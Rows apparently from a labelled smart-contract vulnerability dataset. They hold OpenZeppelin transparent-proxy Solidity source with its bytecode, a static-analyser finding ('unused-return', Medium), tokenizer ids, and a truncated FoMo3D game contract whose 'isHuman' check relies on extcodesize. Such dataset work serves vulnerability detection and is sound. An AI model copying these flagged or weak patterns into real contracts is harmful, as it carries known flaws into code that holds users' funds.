constructor. */ bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Emitted when the implementation is upgraded. */ event Upgraded(address indexed implementation); /** * @dev Returns the current implementation address. */ function _getImplementation() internal view returns (address) { return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; } /** * @dev Stores a new address in the EIP1967 implementation slot. */ function _setImplementation(address newImplementation) private { require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; } /** * @dev Perform implementation upgrade * * Emits an {Upgraded} event. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Perform implementation upgrade with additional setup call. * * Emits an {Upgraded} event. */ function _upgradeToAndCall( address newImplementation, bytes memory data, bool forceCall ) internal { _upgradeTo(newImplementation); if (data.length > 0 || forceCall) { Address.functionDelegateCall(newImplementation, data); } } /** * @dev Perform implementation upgrade with security checks for UUPS proxies, and additional setup call. * * Emits an {Upgraded} event. */ function _upgradeToAndCallSecure( address newImplementation, bytes memory data, bool forceCall ) internal { address oldImplementation = _getImplementation(); // Initial upgrade and setup call _setImplementation(newImplementation); if (data.length > 0 || forceCall) { Address.functionDelegateCall(newImplementation, data); } // Perform rollback test if not already in progress StorageSlot.BooleanSlot storage rollbackTesting = StorageSlot.getBooleanSlot(_ROLLBACK_SLOT); if (!rollbackTesting.value) { // Trigger rollback using upgradeTo from the new implementation rollbackTesting.value = true; Address.functionDelegateCall( newImplementation, abi.encodeWithSignature("upgradeTo(address)", oldImplementation) ); rollbackTesting.value = false; // Check rollback was effective require(oldImplementation == _getImplementation(), "ERC1967Upgrade: upgrade breaks further upgrades"); // Finally reset to the new implementation and log the upgrade _upgradeTo(newImplementation); } } /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Emitted when the admin account has changed. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Returns the current admin. */ function _getAdmin() internal view returns (address) { return StorageSlot.getAddressSlot(_ADMIN_SLOT).value; } /** * @dev Stores a new address in the EIP1967 admin slot. */ function _setAdmin(address newAdmin) private { require(newAdmin != address(0), "ERC1967: new admin is the zero address"); StorageSlot.getAddressSlot(_ADMIN_SLOT).value = newAdmin; } /** * @dev Changes the admin of the proxy. * * Emits an {AdminChanged} event. */ function _changeAdmin(address newAdmin) internal { emit AdminChanged(_getAdmin(), newAdmin); _setAdmin(newAdmin); } /** * @dev The storage slot of the UpgradeableBeacon contract which defines the implementation for this proxy. * This is bytes32(uint256(keccak256('eip1967.proxy.beacon')) - 1)) and is validated in the constructor. */ bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50; /** * @dev Emitted when the beacon is upgraded. */ event BeaconUpgraded(address indexed beacon); /** * @dev Returns the current beacon. */ function _getBeacon() internal view returns (address) { return StorageSlot.getAddressSlot(_BEACON_SLOT).value; } /** * @dev Stores a new beacon in the EIP1967 beacon slot. */ function _setBeacon(address newBeacon) private { require(Address.isContract(newBeacon), "ERC1967: new beacon is not a contract"); require( Address.isContract(IBeacon(newBeacon).implementation()), "ERC1967: beacon implementation is not a contract" ); StorageSlot.getAddressSlot(_BEACON_SLOT).value = newBeacon; } /** * @dev Perform beacon upgrade with additional setup call. Note: This upgrades the address of the beacon, it does * not upgrade the implementation contained in the beacon (see {UpgradeableBeacon-_setImplementation} for that). * * Emits a {BeaconUpgraded} event. */ function _upgradeBeaconToAndCall( address newBeacon, bytes memory data, bool forceCall ) internal { _setBeacon(newBeacon); emit BeaconUpgraded(newBeacon); if (data.length > 0 || forceCall) { Address.functionDelegateCall(IBeacon(newBeacon).implementation(), data); } } } // File: .deps/npm/@openzeppelin/contracts@4.2.0/proxy/Proxy.sol pragma solidity ^0.8.0; /** * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to * be specified by overriding the virtual {_implementation} function. * * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a * different contract through the {_delegate} function. * * The success and return data of the delegated call will be returned back to the caller of the proxy. */ abstract contract Proxy { /** * @dev Delegates the current call to `implementation`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _delegate(address implementation) internal virtual { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev This is a virtual function that should be overriden so it returns the address to which the fallback function * and {_fallback} should delegate. */ function _implementation() internal view virtual returns (address); /** * @dev Delegates the current call to the address returned by `_implementation()`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _fallback() internal virtual { _beforeFallback(); _delegate(_implementation()); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other * function in the contract matches the call data. */ fallback() external payable virtual { _fallback(); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data * is empty. */ receive() external payable virtual { _fallback(); } /** * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback` * call, or as part of the Solidity `fallback` or `receive` functions. * * If overriden should call `super._beforeFallback()`. */ function _beforeFallback() internal virtual {} } // File: .deps/npm/@openzeppelin/contracts@4.2.0/proxy/ERC1967/ERC1967Proxy.sol pragma solidity ^0.8.0; /** * @dev This contract implements an upgradeable proxy. It is upgradeable because calls are delegated to an * implementation address that can be changed. This address is stored in storage in the location specified by * https://eips.ethereum.org/EIPS/eip-1967[EIP1967], so that it doesn't conflict with the storage layout of the * implementation behind the proxy. */ contract ERC1967Proxy is Proxy, ERC1967Upgrade { /** * @dev Initializes the upgradeable proxy with an initial implementation specified by `_logic`. * * If `_data` is nonempty, it's used as data in a delegate call to `_logic`. This will typically be an encoded * function call, and allows initializating the storage of the proxy like a Solidity constructor. */ constructor(address _logic, bytes memory _data) payable { assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); _upgradeToAndCall(_logic, _data, false); } /** * @dev Returns the current implementation address. */ function _implementation() internal view virtual override returns (address impl) { return ERC1967Upgrade._getImplementation(); } } // File: .deps/npm/@openzeppelin/contracts@4.2.0/proxy/transparent/TransparentUpgradeableProxy.sol pragma solidity ^0.8.0; /** * @dev This contract implements a proxy that is upgradeable by an admin. * * To avoid https://medium.com/nomic-labs-blog/malicious-backdoors-in-ethereum-proxies-62629adf3357[proxy selector * clashing], which can potentially be used in an attack, this contract uses the * https://blog.openzeppelin.com/the-transparent-proxy-pattern/[transparent proxy pattern]. This pattern implies two * things that go hand in hand: * * 1. If any account other than the admin calls the proxy, the call will be forwarded to the implementation, even if * that call matches one of the admin functions exposed by the proxy itself. * 2. If the admin calls the proxy, it can access the admin functions, but its calls will never be forwarded to the * implementation. If the admin tries to call a function on the implementation it will fail with an error that says * "admin cannot fallback to proxy target". * * These properties mean that the admin account can only be used for admin actions like upgrading the proxy or changing * the admin, so it's best if it's a dedicated account that is not used for anything else. This will avoid headaches due * to sudden errors when trying to call a function from the proxy implementation. * * Our recommendation is for the dedicated account to be an instance of the {ProxyAdmin} contract. If set up this way, * you should think of the `ProxyAdmin` instance as the real administrative interface of your proxy. */ contract TransparentUpgradeableProxy is ERC1967Proxy { /** * @dev Initializes an upgradeable proxy managed by `_admin`, backed by the implementation at `_logic`, and * optionally initialized with `_data` as explained in {ERC1967Proxy-constructor}. */ constructor( address _logic, address admin_, bytes memory _data ) payable ERC1967Proxy(_logic, _data) { assert(_ADMIN_SLOT == bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1)); _changeAdmin(admin_); } /** * @dev Modifier used internally that will delegate the call to the implementation unless the sender is the admin. */ modifier ifAdmin() { if (msg.sender == _getAdmin()) { _; } else { _fallback(); } } /** * @dev Returns the current admin. * * NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyAdmin}. * * TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the * https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call. * `0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103` */ function admin() external ifAdmin returns (address admin_) { admin_ = _getAdmin(); } /** * @dev Returns the current implementation. * * NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyImplementation}. * * TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the * https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call. * `0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc` */ function implementation() external ifAdmin returns (address implementation_) { implementation_ = _implementation(); } /** * @dev Changes the admin of the proxy. * * Emits an {AdminChanged} event. * * NOTE: Only the admin can call this function. See {ProxyAdmin-changeProxyAdmin}. */ function changeAdmin(address newAdmin) external virtual ifAdmin { _changeAdmin(newAdmin); } /** * @dev Upgrade the implementation of the proxy. * * NOTE: Only the admin can call this function. See {ProxyAdmin-upgrade}. */ function upgradeTo(address newImplementation) external ifAdmin { _upgradeToAndCall(newImplementation, bytes(""), false); } /** * @dev Upgrade the implementation of the proxy, and then call a function from the new implementation as specified * by `data`, which should be an encoded function call. This is useful to initialize new storage variables in the * proxied contract. * * NOTE: Only the admin can call this function. See {ProxyAdmin-upgradeAndCall}. */ function upgradeToAndCall(address newImplementation, bytes calldata data) external payable ifAdmin { _upgradeToAndCall(newImplementation, data, true); } /** * @dev Returns the current admin. */ function _admin() internal view virtual returns (address) { return _getAdmin(); } /** * @dev Makes sure the admin cannot access the fallback function. See {Proxy-_beforeFallback}. */ function _beforeFallback() internal virtual override { require(msg.sender != _getAdmin(), "TransparentUpgradeableProxy: admin cannot fallback to proxy target"); super._beforeFallback(); } }
0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106d6565b610118565b61005b6100933660046106f1565b61015f565b3480156100a457600080fd5b506100ad6101d0565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106d6565b61020b565b3480156100f557600080fd5b506100ad610235565b610106610292565b610116610111610331565b61033b565b565b61012061035f565b6001600160a01b0316336001600160a01b031614156101575761015481604051806020016040528060008152506000610392565b50565b6101546100fe565b61016761035f565b6001600160a01b0316336001600160a01b031614156101c8576101c38383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610392915050565b505050565b6101c36100fe565b60006101da61035f565b6001600160a01b0316336001600160a01b03161415610200576101fb610331565b905090565b6102086100fe565b90565b61021361035f565b6001600160a01b0316336001600160a01b0316141561015757610154816103bd565b600061023f61035f565b6001600160a01b0316336001600160a01b03161415610200576101fb61035f565b606061028583836040518060600160405280602781526020016107f060279139610411565b9392505050565b3b151590565b61029a61035f565b6001600160a01b0316336001600160a01b031614156101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101fb6104e5565b3660008037600080366000845af43d6000803e80801561035a573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61039b8361050d565b6000825111806103a85750805b156101c3576103b78383610260565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103e661035f565b604080516001600160a01b03928316815291841660208301520160405180910390a16101548161054d565b6060833b6104705760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b6064820152608401610328565b600080856001600160a01b03168560405161048b9190610774565b600060405180830381855af49150503d80600081146104c6576040519150601f19603f3d011682016040523d82523d6000602084013e6104cb565b606091505b50915091506104db8282866105f6565b9695505050505050565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610383565b6105168161062f565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b6001600160a01b0381166105b25760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b6064820152608401610328565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b60608315610605575081610285565b8251156106155782518084602001fd5b8160405162461bcd60e51b81526004016103289190610790565b803b6106935760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b6064820152608401610328565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6105d5565b80356001600160a01b03811681146106d157600080fd5b919050565b6000602082840312156106e857600080fd5b610285826106ba565b60008060006040848603121561070657600080fd5b61070f846106ba565b9250602084013567ffffffffffffffff8082111561072c57600080fd5b818601915086601f83011261074057600080fd5b81358181111561074f57600080fd5b87602082850101111561076157600080fd5b6020830194508093505050509250925092565b600082516107868184602087016107c3565b9190910192915050565b60208152600082518060208401526107af8160408501602087016107c3565b601f01601f19169190910160400192915050565b60005b838110156107de5781810151838201526020016107c6565b838111156103b7575050600091015256fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212208b8087d1c3093686eaf1759a06e77fe23cdb2de3b9a05a30c03d7820ceb6c61c64736f6c63430008060033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 2475, 2050, 2581, 27531, 2497, 23499, 2692, 2094, 2692, 22203, 21926, 26224, 2581, 16048, 2683, 2050, 2692, 2549, 2278, 2581, 2475, 3207, 26187, 18827, 2683, 2509, 4783, 2487, 1013, 1013, 5371, 1024, 1012, 2139, 4523, 1013, 27937, 2213, 1013, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1030, 1018, 1012, 1016, 1012, 1014, 1013, 21183, 12146, 1013, 5527, 14540, 4140, 1012, 14017, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 3075, 2005, 3752, 1998, 3015, 10968, 4127, 2000, 3563, 5527, 19832, 1012, 1008, 1008, 5527, 19832, 2024, 2411, 2109, 2000, 4468, 5527, 4736, 2043, 7149, 2007, 12200, 3085, 8311, 1012, 1008, 2023, 3075, 7126, 2007, 3752, 1998, 3015, 2000, 2107, 19832, 2302, 1996, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,682
0x972a7e52e91fff14dc266482b8bd8964e4a55aa2
pragma solidity ^0.4.24; contract F3Devents { // fired whenever a player registers a name event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); // fired at end of buy or reload event onEndTx ( uint256 compressedData, uint256 compressedIDs, bytes32 playerName, address playerAddress, uint256 ethIn, uint256 keysBought, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount, uint256 potAmount, uint256 airDropPot ); // fired whenever theres a withdraw event onWithdraw ( uint256 indexed playerID, address playerAddress, bytes32 playerName, uint256 ethOut, uint256 timeStamp ); // fired whenever a withdraw forces end round to be ran event onWithdrawAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethOut, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); // (fomo3d short only) fired whenever a player tries a buy after round timer // hit zero, and causes end round to be ran. event onBuyAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethIn, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); // (fomo3d short only) fired whenever a player tries a reload after round timer // hit zero, and causes end round to be ran. event onReLoadAndDistribute ( address playerAddress, bytes32 playerName, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); // fired whenever an affiliate is paid event onAffiliatePayout ( uint256 indexed affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 indexed roundID, uint256 indexed buyerID, uint256 amount, uint256 timeStamp ); // received pot swap deposit event onPotSwapDeposit ( uint256 roundID, uint256 amountAddedToPot ); } //============================================================================== // _ _ _ _|_ _ _ __|_ _ _ _|_ _ . // (_(_)| | | | (_|(_ | _\(/_ | |_||_) . //====================================|========================================= contract modularShort is F3Devents {} contract FoMo3Dshort is modularShort { using SafeMath for *; using NameFilter for string; using F3DKeysCalcShort for uint256; PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xF6b8836492f8332D17B1496828d2bEE71ad511DA); //============================================================================== // _ _ _ |`. _ _ _ |_ | _ _ . // (_(_)| |~|~|(_||_|| (_||_)|(/__\ . (game settings) //=================_|=========================================================== address private admin = msg.sender; string constant public name = "FOMO Short"; string constant public symbol = "SHORT"; uint256 private rndExtra_ = 30 minutes; // length of the very first ICO uint256 private rndGap_ = 30 minutes; // length of ICO phase, set to 1 year for EOS. uint256 constant private rndInit_ = 30 minutes; // round timer starts at this uint256 constant private rndInc_ = 10 seconds; // every full key purchased adds this much to the timer uint256 constant private rndMax_ = 1 hours; // max length a round timer can be //============================================================================== // _| _ _|_ _ _ _ _|_ _ . // (_|(_| | (_| _\(/_ | |_||_) . (data used to store game info that changes) //=============================|================================================ uint256 public airDropPot_; // person who gets the airdrop wins part of this pot uint256 public airDropTracker_ = 0; // incremented each time a "qualified" tx occurs. used to determine winning air drop uint256 public rID_; // round id number / total rounds that have happened //**************** // PLAYER DATA //**************** mapping (address => uint256) public pIDxAddr_; // (addr => pID) returns player id by address mapping (bytes32 => uint256) public pIDxName_; // (name => pID) returns player id by name mapping (uint256 => F3Ddatasets.Player) public plyr_; // (pID => data) player data mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_; // (pID => rID => data) player round data by player id & round id mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; // (pID => name => bool) list of names a player owns. (used so you can change your display name amongst any name you own) //**************** // ROUND DATA //**************** mapping (uint256 => F3Ddatasets.Round) public round_; // (rID => data) round data mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; // (rID => tID => data) eth in per team, by round id and team id //**************** // TEAM FEE DATA //**************** mapping (uint256 => F3Ddatasets.TeamFee) public fees_; // (team => fees) fee distribution by team mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_; // (team => fees) pot split distribution by team //============================================================================== // _ _ _ __|_ _ __|_ _ _ . // (_(_)| |_\ | | |_|(_ | (_)| . (initial data setup upon contract deploy) //============================================================================== constructor() public { // Team allocation structures // 0 = whales // 1 = bears // 2 = sneks // 3 = bulls // Team allocation percentages // (F3D, P3D) + (Pot , Referrals, Community) // Referrals / Community rewards are mathematically designed to come from the winner's share of the pot. fees_[0] = F3Ddatasets.TeamFee(30,6); //50% to pot, 10% to aff, 2% to com, 1% to pot swap, 1% to air drop pot fees_[1] = F3Ddatasets.TeamFee(43,0); //43% to pot, 10% to aff, 2% to com, 1% to pot swap, 1% to air drop pot fees_[2] = F3Ddatasets.TeamFee(56,10); //20% to pot, 10% to aff, 2% to com, 1% to pot swap, 1% to air drop pot fees_[3] = F3Ddatasets.TeamFee(43,8); //35% to pot, 10% to aff, 2% to com, 1% to pot swap, 1% to air drop pot // how to split up the final pot based on which team was picked // (F3D, P3D) potSplit_[0] = F3Ddatasets.PotSplit(15,10); //48% to winner, 25% to next round, 2% to com potSplit_[1] = F3Ddatasets.PotSplit(25,0); //48% to winner, 25% to next round, 2% to com potSplit_[2] = F3Ddatasets.PotSplit(20,20); //48% to winner, 10% to next round, 2% to com potSplit_[3] = F3Ddatasets.PotSplit(30,10); //48% to winner, 10% to next round, 2% to com } //============================================================================== // _ _ _ _|. |`. _ _ _ . // | | |(_)(_||~|~|(/_| _\ . (these are safety checks) //============================================================================== /** * @dev used to make sure no one can interact with contract until it has * been activated. */ modifier isActivated() { require(activated_ == true, "its not ready yet. check ?eta in discord"); _; } /** * @dev prevents contracts from interacting with fomo3d */ modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, "sorry humans only"); _; } /** * @dev sets boundaries for incoming tx */ modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, "pocket lint: not a valid currency"); require(_eth <= 100000000000000000000000, "no vitalik, no"); _; } //============================================================================== // _ |_ |. _ |` _ __|_. _ _ _ . // |_)|_||_)||(_ ~|~|_|| |(_ | |(_)| |_\ . (use these to interact with contract) //====|========================================================================= /** * @dev emergency buy uses last stored affiliate ID and team snek */ function() isActivated() isHuman() isWithinLimits(msg.value) public payable { // set up our tx event data and determine if player is new or not F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); // fetch player id uint256 _pID = pIDxAddr_[msg.sender]; // buy core buyCore(_pID, plyr_[_pID].laff, 2, _eventData_); } /** * @dev converts all incoming ethereum to keys. * -functionhash- 0x8f38f309 (using ID for affiliate) * -functionhash- 0x98a0871d (using address for affiliate) * -functionhash- 0xa65b37a1 (using name for affiliate) * @param _affCode the ID/address/name of the player who gets the affiliate fee * @param _team what team is the player playing for? */ function buyXid(uint256 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { // set up our tx event data and determine if player is new or not F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); // fetch player id uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals // if no affiliate code was given or player tried to use their own, lolz if (_affCode == 0 || _affCode == _pID) { // use last stored affiliate code _affCode = plyr_[_pID].laff; // if affiliate code was given & its not the same as previously stored } else if (_affCode != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affCode; } // verify a valid team was selected _team = verifyTeam(_team); // buy core buyCore(_pID, _affCode, _team, _eventData_); } function buyXaddr(address _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { // set up our tx event data and determine if player is new or not F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); // fetch player id uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals uint256 _affID; // if no affiliate code was given or player tried to use their own, lolz if (_affCode == address(0) || _affCode == msg.sender) { // use last stored affiliate code _affID = plyr_[_pID].laff; // if affiliate code was given } else { // get affiliate ID from aff Code _affID = pIDxAddr_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // verify a valid team was selected _team = verifyTeam(_team); // buy core buyCore(_pID, _affID, _team, _eventData_); } function buyXname(bytes32 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { // set up our tx event data and determine if player is new or not F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); // fetch player id uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals uint256 _affID; // if no affiliate code was given or player tried to use their own, lolz if (_affCode == '' || _affCode == plyr_[_pID].name) { // use last stored affiliate code _affID = plyr_[_pID].laff; // if affiliate code was given } else { // get affiliate ID from aff Code _affID = pIDxName_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // verify a valid team was selected _team = verifyTeam(_team); // buy core buyCore(_pID, _affID, _team, _eventData_); } /** * @dev essentially the same as buy, but instead of you sending ether * from your wallet, it uses your unwithdrawn earnings. * -functionhash- 0x349cdcac (using ID for affiliate) * -functionhash- 0x82bfc739 (using address for affiliate) * -functionhash- 0x079ce327 (using name for affiliate) * @param _affCode the ID/address/name of the player who gets the affiliate fee * @param _team what team is the player playing for? * @param _eth amount of earnings to use (remainder returned to gen vault) */ function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { // set up our tx event data F3Ddatasets.EventReturns memory _eventData_; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals // if no affiliate code was given or player tried to use their own, lolz if (_affCode == 0 || _affCode == _pID) { // use last stored affiliate code _affCode = plyr_[_pID].laff; // if affiliate code was given & its not the same as previously stored } else if (_affCode != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affCode; } // verify a valid team was selected _team = verifyTeam(_team); // reload core reLoadCore(_pID, _affCode, _team, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { // set up our tx event data F3Ddatasets.EventReturns memory _eventData_; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals uint256 _affID; // if no affiliate code was given or player tried to use their own, lolz if (_affCode == address(0) || _affCode == msg.sender) { // use last stored affiliate code _affID = plyr_[_pID].laff; // if affiliate code was given } else { // get affiliate ID from aff Code _affID = pIDxAddr_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // verify a valid team was selected _team = verifyTeam(_team); // reload core reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { // set up our tx event data F3Ddatasets.EventReturns memory _eventData_; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals uint256 _affID; // if no affiliate code was given or player tried to use their own, lolz if (_affCode == '' || _affCode == plyr_[_pID].name) { // use last stored affiliate code _affID = plyr_[_pID].laff; // if affiliate code was given } else { // get affiliate ID from aff Code _affID = pIDxName_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // verify a valid team was selected _team = verifyTeam(_team); // reload core reLoadCore(_pID, _affID, _team, _eth, _eventData_); } /** * @dev withdraws all of your earnings. * -functionhash- 0x3ccfd60b */ function withdraw() isActivated() isHuman() public { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // setup temp var for player eth uint256 _eth; // check to see if round has ended and no one has run round end yet if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { // set up our tx event data F3Ddatasets.EventReturns memory _eventData_; // end the round (distributes pot) round_[_rID].ended = true; _eventData_ = endRound(_eventData_); // get their earnings _eth = withdrawEarnings(_pID); // gib moni if (_eth > 0) plyr_[_pID].addr.transfer(_eth); // build event data _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; // fire withdraw and distribute event emit F3Devents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); // in any other situation } else { // get their earnings _eth = withdrawEarnings(_pID); // gib moni if (_eth > 0) plyr_[_pID].addr.transfer(_eth); // fire withdraw event emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } /** * @dev use these to register names. they are just wrappers that will send the * registration requests to the PlayerBook contract. So registering here is the * same as registering there. UI will always display the last name you registered. * but you will still own all previously registered names to use as affiliate * links. * - must pay a registration fee. * - name must be unique * - names will be converted to lowercase * - name cannot start or end with a space * - cannot have more than 1 space in a row * - cannot be only numbers * - cannot start with 0x * - name must be at least 1 char * - max length of 32 characters long * - allowed characters: a-z, 0-9, and space * -functionhash- 0x921dec21 (using ID for affiliate) * -functionhash- 0x3ddd4698 (using address for affiliate) * -functionhash- 0x685ffd83 (using name for affiliate) * @param _nameString players desired name * @param _affCode affiliate ID, address, or name of who referred you * @param _all set to true if you want this to push your info to all games * (this might cost a lot of gas) */ function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public 